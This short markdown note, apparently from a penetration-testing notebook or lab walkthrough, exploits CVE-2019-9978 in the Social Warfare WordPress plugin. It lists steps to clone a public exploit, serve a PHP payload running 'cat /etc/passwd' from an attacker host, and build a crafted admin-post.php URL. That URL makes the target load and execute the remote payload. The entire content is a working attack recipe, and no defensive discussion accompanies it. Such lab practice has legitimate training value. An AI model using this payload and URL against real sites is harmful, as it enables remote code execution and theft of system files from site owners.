---
description: Read /etc/passwd
---

# Social Warfare

**\[1]Git clone the exploit**\
\
sudo git clone [http://github.com/hash3liZer/CVE-2019-9978.git](https://github.com/hash3liZer/CVE-2019-9978.git)\
\
&#xNAN;**\[2]Craft a payload.txt and serve on port 8000 using python**\
\
`<pre>system('cat /etc/passwd')</pre>`\
\
&#xNAN;**\[3] Craft malicious url**\
\
Target : 192.168.101.174\
\
Kali: 192.168.101.169:8000\
\
[http://192.168.101.174/wordpress/wp-admin/admin-post.php?swp\_debug=load\_options\&swp\_url=http://192.168.101.169:8000/payload.txt](http://192.168.101.174/wordpress/wp-admin/admin-post.php?swp_debug=load_options\&swp_url=http://192.168.101.169:8000/payload.txt)\
\
**3) Trigger in browser and read /etc/passwd content**\
